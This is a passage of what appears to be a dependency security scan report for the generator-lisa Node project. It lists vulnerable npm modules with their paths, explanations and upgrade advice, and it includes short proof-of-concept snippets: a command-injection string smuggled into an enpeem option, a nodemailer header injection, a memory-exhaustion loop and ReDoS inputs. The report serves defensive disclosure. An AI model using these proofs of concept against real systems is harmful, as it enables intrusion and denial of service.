Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hoek to version 4.2.1, 5.0.3 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Prototype Pollution via the forge.debug API if called with untrusted input.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade node-forge to version 1.0.0 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-email@2.0.1 › nodemailer@4.7.0
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.
PoC:
const userEmail = 'foo@bar.comrnSubject: foobar'; // imagine this comes from e.g. HTTP request params or is otherwise user-controllable
await transporter.sendMail({
from: '...',
to: '...',
replyTo: {
name: 'Customer',
address: userEmail,
},
subject: 'My Subject',
text: message,
});
Remediation
Upgrade nodemailer to version 6.6.1 or higher.
References
medium severity
- Vulnerable module: sequelize
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-sequelize@2.0.2 › sequelize@4.44.4
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to improper user-input sanitization, due to unsafe fall-through in GET WHERE conditions.
Remediation
Upgrade sequelize to version 6.28.1 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: yeoman-generator@1.1.1 and lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › mem-fs-editor@3.0.2 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › shelljs@0.7.8 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › mem-fs-editor@3.0.2 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › mem-fs-editor@3.0.2 › globby@6.1.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-cache@2.0.0 › cache-manager-fs-binary@1.0.4 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › yeoman-environment@1.6.6 › globby@4.1.0 › glob@6.0.4 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › lisa-plugins-manager@0.0.11 › fs-extra@0.30.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › globby@6.1.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › grpc@1.24.11 › protobufjs@5.0.3 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › fstream-ignore@1.0.5 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › fstream-ignore@1.0.5 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › grpc@1.24.11 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › fstream-ignore@1.0.5 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: enpeem
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › lisa-plugins-manager@0.0.11 › enpeem@2.2.0
Overview
enpeem is a lightweight wrapper for accessing npm programmatically (alternative to adding npm as a dependency)
Affected versions of this package are vulnerable to Command Injection. The options.dir argument is provided to the exec function without any sanitization.
PoC By JHU System Security Lab
var root = require("enpeem");
var attack_code = "& echo vulnerable > create.txt &";
var opts = {
"production": attack_code
}
root.update(opts, function(){});
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for enpeem.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1 v1.5 signature verification code which does not properly check DigestInfo for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.
Remediation
Upgrade node-forge to version 1.3.0 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSAs PKCS#1` v1.5 signature verification code which is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.
Remediation
Upgrade node-forge to version 1.3.0 or higher.
References
medium severity
- Vulnerable module: got
- Introduced through: lisa-box@0.0.16 and yeoman-generator@1.1.1
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › lisa-plugins-manager@0.0.11 › download@5.0.3 › got@6.7.1
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › github-username@3.0.0 › gh-got@5.0.0 › got@6.7.1Remediation: Upgrade to yeoman-generator@5.0.0.
Overview
Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.
Remediation
Upgrade got to version 11.8.5, 12.1.0 or higher.
References
medium severity
- Vulnerable module: color-string
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-realtime@2.0.0 › primus@5.2.2 › diagnostics@1.0.1 › colorspace@1.0.1 › color@0.8.0 › color-string@0.3.0
Overview
color-string is a Parser and generator for CSS color strings
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb regular expression in the cs.get.hwb function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade color-string to version 1.5.5 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: lisa-box@0.0.16 and yeoman-generator@1.1.1
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › ejs@2.7.4
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › mem-fs-editor@3.0.2 › ejs@2.7.4Remediation: Upgrade to yeoman-generator@4.11.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.
Note:
Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.
Remediation
Upgrade ejs to version 3.1.10 or higher.
References
medium severity
- Vulnerable module: micromatch
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › http-proxy-middleware@0.17.4 › micromatch@2.3.11Remediation: Upgrade to lisa-box@0.0.21.
Overview
Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.
Remediation
Upgrade micromatch to version 4.0.8 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Open Redirect via parseUrl function when it mishandles certain uses of backslash such as https:/\/\/\ and interprets the URI as a relative path.
PoC:
// poc.js
var forge = require("node-forge");
var url = forge.util.parseUrl("https:/\/\/\www.github.com/foo/bar");
console.log(url);
// Output of node poc.js:
{
full: 'https://',
scheme: 'https',
host: '',
port: 443,
path: '/www.github.com/foo/bar', <<<---- path should be "/foo/bar"
fullHost: ''
}
Remediation
Upgrade node-forge to version 1.0.0 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-email@2.0.1 › nodemailer@4.7.0
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the attachDataUrls parameter or when parsing attachments with an embedded file. An attacker can exploit this vulnerability by sending a specially crafted email that triggers inefficient regular expression evaluation, leading to excessive consumption of CPU resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nodemailer to version 6.9.9 or higher.
References
medium severity
- Vulnerable module: sequelize
- Introduced through: lisa-box@0.0.16
Detailed paths
-
